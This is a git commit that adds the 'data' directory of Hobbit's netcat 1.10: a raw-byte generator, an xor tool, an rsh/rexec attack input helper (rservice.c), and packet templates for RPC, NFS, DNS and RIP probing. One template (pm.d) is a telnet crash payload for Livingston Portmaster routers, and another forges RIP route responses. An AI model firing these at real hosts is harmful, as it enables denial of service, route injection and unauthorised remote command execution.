*Hobbit*'s netcat 1.10

This commit is contained in:
Anatoly Techtonik
2007-01-17 09:51:02 +00:00
commit 5086ba1ade
31 changed files with 5263 additions and 0 deletions

10
data/Makefile Normal file
View File

@@ -0,0 +1,10 @@
all: data rservice xor
data: data.c
cc -s -O -o data data.c
rservice: rservice.c
cc -s -O -o rservice rservice.c
xor: xor.c
cc -s -O -o xor xor.c
clean:
rm -f *.o data rservice xor

9
data/README Normal file
View File

@@ -0,0 +1,9 @@
For now, read the header comments inside each of these for documentation.
The programs are simple enough that they don't really need a Makefile any more
complex than the one given; ymmv. Data and xor may also be useful on DOS,
which is why there are hooks for it in the code.
data.c a primitive atob / btoa byte generator
*.d example input to "data -g"
rservice.c a utility for scripting up rsh/rexec attacks
xor.c generic xor handler

274
data/data.c Normal file
View File

@@ -0,0 +1,274 @@
/* primitive arbitrary-data frontend for netcat. 0.9 960226
only handles one value per ascii line, but at least parses 0xNN too
an input line containing "%r" during "-g" generates a random byte
todo:
make work on msloss jus' for kicks [workin' on it...]
syntax: data -X [limit]
where X is one of
d: dump raw bytes to ascii format
g: generate raw bytes from ascii input
c: generate ??? of value -- NOTYET
r: generate all random bytes
and limit is how many bytes to generate or dump [unspecified = infinite]
*Hobbit*, started 951004 or so and randomly screwed around with since */
#include <stdio.h>
#ifdef MSDOS /* for MSC only at the moment... */
#include <fcntl.h>
#else /* MSDOS */
#include <sys/file.h>
#define HAVE_RANDOM /* XXX: might have to change */
#endif /* MSDOS */
static char buf_in [128];
static char buf_raw [8192];
static char surveysez[] = "survey sez... XXX\n";
/* fgetss :
wrapper for fgets, that yanks trailing newlines. Doing the work ourselves
instead of calling strchr/strlen/whatever */
char * fgetss (buf, len, from)
char * buf;
size_t len;
FILE * from;
{
register int x;
register char * p, * q;
p = fgets (buf, len, from); /* returns ptr to buf */
if (! p)
return (NULL);
q = p;
for (x = 0; x < len; x++) {
*p = (*p & 0x7f); /* rip parity, just in case */
switch (*p) {
case '\n':
case '\r':
case '\0':
*p = '\0';
return (q);
} /* switch */
p++;
} /* for */
} /* fgetss */
/* randint:
swiped from rndb.c. Generates an INT, you have to mask down to char. */
int randint()
{
register int q;
register int x;
#ifndef HAVE_RANDOM
q = rand();
#else
q = random();
#endif
x = ((q >> 8) & 0xff); /* perturb low byte using some higher bits */
x = q ^ x;
return (x);
}
main (argc, argv)
int argc;
char ** argv;
{
register unsigned char * p;
register char * q;
register int x;
int bc = 0;
int limit = 0; /* num to gen, or 0 = infinite */
register int xlimit; /* running limit */
FILE * txt; /* line-by-line ascii file */
int raw; /* raw bytes fd */
int dumping = 0; /* cmd flags ... */
int genning = 0;
int randing = 0;
memset (buf_in, 0, sizeof (buf_in));
memset (buf_raw, 0, sizeof (buf_raw));
xlimit = 1; /* doubles as "exit flag" */
bc = 1; /* preload, assuming "dump" */
x = getpid() + 687319;
/* if your library doesnt have srandom/random, use srand/rand. [from rnd.c] */
#ifndef HAVE_RANDOM
srand (time(0) + x);
#else
srandom (time(0) + x);
#endif
#ifdef O_BINARY
/* DOS stupidity */
/* Aha: *here's* where that setmode() lib call conflict in ?BSD came from */
x = setmode (0, O_BINARY); /* make stdin raw */
if (x < 0) {
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
exit (1);
}
x = setmode (1, O_BINARY); /* make stdout raw */
if (x < 0) {
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
exit (1);
}
#endif /* O_BINARY */
if (argv[1]) {
p = argv[1]; /* shit-simple single arg parser... */
if (*p == '-') /* dash is optional, we'll deal */
p++;
if (*p == 'd')
dumping++;
if (*p == 'g')
genning++;
if (*p == 'r')
randing++;
} /* if argv 1 */
/* optional second argument: limit # of bytes shoveled either way */
if (argv[2]) {
x = atoi (argv[2]);
if (x)
limit = x;
else
goto wrong;
xlimit = limit;
}
/* Since this prog would likely best be written in assmbler, I'm gonna
write it *like* assembler. So there. */
if (randing)
goto do_rand;
nextbuf: /* loop sleaze */
if (dumping) { /* switch off to wherever */
if (genning)
goto wrong;
goto do_dump;
}
if (genning)
goto do_gen;
wrong:
fprintf (stderr, surveysez); /* if both or neither */
exit (1);
do_gen:
/* here if genning -- original functionality */
q = buf_raw;
bc = 0;
/* suck up lines until eof or buf_raw is full */
while (1) {
p = fgetss (buf_in, 120, stdin);
if (! p)
break; /* EOF */
/* super-primitive version first: one thingie per line */
if (*p == '#') /* comment */
continue;
if (*p == '\0') /* blank line */
continue;
if (*p == '%') { /* escape char? */
p++;
if (*p == 'r') { /* random byte */
x = randint();
goto stuff;
} /* %r */
} /* if "%" escape */
if (*p == '0')
if (*(p+1) == 'x') /* 0x?? */
goto hex;
x = atoi (p); /* reg'lar decimal number */
goto stuff;
hex:
/* A 65 a 97 */
/* xxx: use a conversion table for this or something. Since we ripped the
parity bit, we only need a preset array of 128 with downconversion factors
loaded in *once*. maybe look at scanf... */
p++; p++; /* point at hex-chars */
x = 0;
if ((*p > 96) && (*p < 123)) /* a-z */
*p = (*p - 32); /* this is massively clumsy */
if ((*p > 64) && (*p < 71)) /* A-F */
x = (*p - 55);
if ((*p > 47) && (*p < 58)) /* digits */
x = (*p - 48);
p++;
if (*p) /* another digit? */
x = (x << 4); /* shift to hi half */
if ((*p > 96) && (*p < 123)) /* a-z */
*p = (*p - 32);
if ((*p > 64) && (*p < 71)) /* A-F */
x = (x | (*p - 55)); /* lo half */
if ((*p > 47) && (*p < 58)) /* digits */
x = (x | (*p - 48));
/* fall thru */
stuff: /* cvt to byte and add to buffer */
*q = (x & 0xff);
q++;
bc++;
if (limit) {
xlimit--;
if (xlimit == 0) /* max num reached */
break;
} /* limit */
if (bc >= sizeof (buf_raw)) /* buffer full */
break;
} /* while 1 */
/* now in theory we have our buffer formed; shovel it out */
x = write (1, buf_raw, bc);
if (x <= 0) {
fprintf (stderr, "write oops: %d\n", x);
exit (1);
}
if (xlimit && p)
goto nextbuf; /* go get some more */
exit (0);
do_dump:
/* here if dumping raw stuff into an ascii file */
/* gad, this is *so* much simpler! can we say "don't rewrite printf"? */
x = read (0, buf_raw, 8192);
if (x <= 0)
exit (0);
q = buf_raw;
for ( ; x > 0; x--) {
p = q;
printf ("%-3.3d # 0x%-2.2x # ", *p, *p);
if ((*p > 31) && (*p < 127))
printf ("%c %d\n", *p, bc);
else
printf (". %d\n", bc);
q++;
bc++;
if (limit) {
xlimit--;
if (xlimit == 0) {
fflush (stdout);
exit (0);
}
} /* limit */
} /* for */
goto nextbuf;
do_rand:
/* here if generating all-random bytes. Stays in this loop */
p = buf_raw;
while (1) {
*p = (randint() & 0xff);
write (1, p, 1); /* makes very slow! */
if (limit) {
xlimit--;
if (xlimit == 0)
break;
}
} /* while */
exit (0);
} /* main */

36
data/dns-any.d Normal file
View File

@@ -0,0 +1,36 @@
# dns "any for ." query, to udp 53
# if tcp: precede with 2 bytes of len:
# 0
# 17
# you should get at least *one* record back out
# HEADER:
0 # query id = 2
2
1 # flags/opcodes = query, dorecurse
0
0 # qdcount, i.e. nqueries: 1
1
0 # ancount: answers, 0
0
0 # nscount: 0
0
0 # addl records: 0
0
# end of fixed header
0 # name-len: 0 for ".", lenbyte plus name-bytes otherwise
0 # type: any, 255
0xff
0 # class: IN
1
# i think that's it..

59
data/nfs-0.d Normal file
View File

@@ -0,0 +1,59 @@
# UDP NFS null-proc call; finds active NFS listeners on port 2049.
# If you get *something* back, there's an NFS server there.
000 # XID: 4 trash bytes
001
002
003
000 # CALL: 0
000
000
000
000 # RPC version: 2
000
000
002
000 # nfs: 100003
001
0x86
0xa3
000 # version: 1
000
000
001
000 # procedure number: 0
000
000
000
000 # port: junk
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # extra auth trash? probably not needed
000
000
000
# that's it!

8
data/pm.d Normal file
View File

@@ -0,0 +1,8 @@
# obligatory duplicate of dr delete's Livingston portmaster crash, aka
# telnet break. Fire into its telnet listener. An *old* bug by now, but
# consider the small window one might obtain from a slightly out-of-rev PM
# used as a firewall, that starts routing IP traffic BEFORE its filter sets
# are fully loaded...
255 # 0xff # . 1
243 # 0xf3 # . 2

60
data/pmap-dump.d Normal file
View File

@@ -0,0 +1,60 @@
# portmap dump request: like "rpcinfo -p" but via UDP instead
# send to UDP 111 and hope it's not a logging portmapper!
# split into longwords, since rpc apparently only deals with them
001 # 0x01 # . # XID: 4 trash bytes
002 # 0x02 # .
003 # 0x03 # .
004 # 0x04 # .
000 # 0x00 # . # MSG: int 0=call, 1=reply
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # pmap call body: rpc version=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
001 # 0x01 # .
134 # 0x86 # .
160 # 0xa0 # .
000 # 0x00 # . # pmap call body: progversion=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: proc=DUMP, 4
000 # 0x00 # .
000 # 0x00 # .
004 # 0x04 # .
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
# The reply you get back contains your XID, int 1 if "accepted", and
# a whole mess of gobbledygook containing program numbers, versions,
# and ports that rpcinfo knows how to decode. For the moment, you get
# to wade through it yourself...

78
data/pmap-mnt.d Normal file
View File

@@ -0,0 +1,78 @@
# portmap request for mountd [or whatever; see where prog=MOUNT]
# send to UDP 111 and hope it's not a logging portmapper!
# split into longwords, since rpc apparently only deals with them
001 # 0x01 # . # XID: 4 trash bytes
002 # 0x02 # .
003 # 0x03 # .
004 # 0x04 # .
000 # 0x00 # . # MSG: int 0=call, 1=reply
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # pmap call body: rpc version=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
001 # 0x01 # .
134 # 0x86 # .
160 # 0xa0 # .
000 # 0x00 # . # pmap call body: progversion=2
000 # 0x00 # .
000 # 0x00 # .
002 # 0x02 # .
000 # 0x00 # . # pmap call body: proc=GETPORT, 3
000 # 0x00 # .
000 # 0x00 # .
003 # 0x03 # .
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # auth junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # . # prog=MOUNT, 100005
001 # 0x01 # .
134 # 0x86 # .
165 # 0xa5 # .
000 # 0x00 # . # progversion=1
000 # 0x00 # .
000 # 0x00 # .
001 # 0x01 # .
000 # 0x00 # . # protocol=udp, 17
000 # 0x00 # .
000 # 0x00 # .
017 # 0x11 # .
000 # 0x00 # . # proc num = junk
000 # 0x00 # .
000 # 0x00 # .
000 # 0x00 # .
# The reply you get back contains your XID, int 1 if "accepted", and
# mountd's port number at the end or 0 if not registered.

52
data/rip.d Normal file
View File

@@ -0,0 +1,52 @@
# struct netinfo {
# struct sockaddr rip_dst; /* destination net/host */
# int rip_metric; /* cost of route */
# };
# struct rip {
# u_char rip_cmd; /* request/response */
# u_char rip_vers; /* protocol version # */
# u_char rip_res1[2]; /* pad to 32-bit boundary */
# union {
# struct netinfo ru_nets[1]; /* variable length... */
# char ru_tracefile[1]; /* ditto ... */
# } ripun;
#define rip_nets ripun.ru_nets
#define rip_tracefile ripun.ru_tracefile
#define RIPCMD_REQUEST 1 /* want info */
#define RIPCMD_RESPONSE 2 /* responding to request */
#define RIPCMD_TRACEON 3 /* turn tracing on */
#define RIPCMD_TRACEOFF 4 /* turn it off */
#define HOPCNT_INFINITY 16 /* per Xerox NS */
#define MAXPACKETSIZE 512 /* max broadcast size */
### RIP packet redux
### UDP send FROM clued-rtr/520 to target/520
2 # RIPCMD_RESPONSE
1 # version
0 # padding
0
# sockaddr-plus-metric structs begin, as many as necessary...
0 # len
2 # AF_INET
0 # port
0
# addr bytes:
X
Y
Z
Q
0 # filler, out to 16 bytes [sizeof (sockaddr)] ...
0
0
0
0
0
0
0
0 # metric: net-order integer
0
0
1
## that's it

68
data/rservice.c Normal file
View File

@@ -0,0 +1,68 @@
/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
rsh/rexec attacks. Needs to be a prog because shells strip out nulls.
args:
locuser remuser [cmd]
remuser passwd [cmd]
cmd defaults to "pwd".
... whatever. _H*/
#include <stdio.h>
/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";
static char buf [256];
main(argc, argv)
int argc;
char * argv[];
{
register int x;
register int y;
char * p;
char * q;
p = buf;
memset (buf, 0, 256);
p++; /* first null */
y = 1;
if (! argv[1])
goto wrong;
x = strlen (argv[1]);
memcpy (p, argv[1], x); /* first arg plus another null */
x++;
p += x;
y += x;
if (! argv[2])
goto wrong;
x = strlen (argv[2]);
memcpy (p, argv[2], x); /* second arg plus null */
x++;
p += x;
y += x;
q = cmd;
if (argv[3])
q = argv[3];
x = strlen (q); /* not checked -- bfd */
memcpy (p, q, x); /* the command, plus final null */
x++;
p += x;
y += x;
memcpy (p, "\n", 1); /* and a newline, so it goes */
y++;
write (1, buf, y); /* zot! */
exit (0);
wrong:
fprintf (stderr, "wrong! needs 2 or more args.\n");
exit (1);
}

63
data/showmount.d Normal file
View File

@@ -0,0 +1,63 @@
# UDP mountd call. Use as input to find mount daemons and avoid portmap.
# Useful proc numbers are 2, 5, and 6.
# UDP-scan around between 600-800 to find most mount daemons.
# Using this with "2", plugged into "nc -u -v -w 2 victim X-Y" will
# directly scan *and* dump the current exports when mountd is hit.
# combine stdout *and* stderr thru "strings" or something to clean it up
000 # XID: 4 trash bytes
001
002
003
000 # CALL: 0
000
000
000
000 # RPC version: 2
000
000
002
000 # mount: 100005
001
0x86
0xa5
000 # mount version: 1
000
000
001
000 # procedure number -- put what you need here:
000 # 2 = dump [showmount -e]
000 # 5 = exportlist [showmount -a]
xxx # "sed s/xxx/$1/ | data -g | nc ..." or some such...
000 # port: junk
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # extra auth trash? probably not needed
000
000
000
# that's it!

92
data/xor.c Normal file
View File

@@ -0,0 +1,92 @@
/* Generic xor handler.
With no args, xors stdin against 0xFF to stdout. A single argument is a
file to read xor-bytes out of. Any zero in the xor-bytes array is treated
as the end; if you need to xor against a string that *includes* zeros,
you're on your own.
The indirect file can be generated easily with data.c.
Written because there are so many lame schemes for "masking" plaintext
passwords and the like floating around, and it's handy to just run an
obscure binary-format configuration file through this and look for strings.
*Hobbit*, 960208 */
#include <stdio.h>
#include <fcntl.h>
char buf[8192];
char bytes[256];
char * py;
/* do the xor, in place. Uses global ptr "py" to maintain "bytes" state */
xorb (buf, len)
char * buf;
int len;
{
register int x;
register char * pb;
pb = buf;
x = len;
while (x > 0) {
*pb = (*pb ^ *py);
pb++;
py++;
if (! *py)
py = bytes;
x--;
}
} /* xorb */
/* blah */
main (argc, argv)
int argc;
char ** argv;
{
register int x = 0;
register int y;
/* manually preload; xor-with-0xFF is all too common */
memset (bytes, 0, sizeof (bytes));
bytes[0] = 0xff;
/* if file named in any arg, reload from that */
#ifdef O_BINARY /* DOS shit... */
x = setmode (0, O_BINARY); /* make stdin raw */
if (x < 0) {
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
exit (1);
}
x = setmode (1, O_BINARY); /* make stdout raw */
if (x < 0) {
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
exit (1);
}
#endif /* O_BINARY */
if (argv[1])
#ifdef O_BINARY
x = open (argv[1], O_RDONLY | O_BINARY);
#else
x = open (argv[1], O_RDONLY);
#endif
if (x > 0) {
read (x, bytes, 250); /* nothin' fancy here */
close (x);
}
py = bytes;
x = 1;
while (x > 0) {
x = read (0, buf, sizeof (buf));
if (x <= 0)
break;
xorb (buf, x);
y = write (1, buf, x);
if (y <= 0)
exit (1);
}
exit (0);
}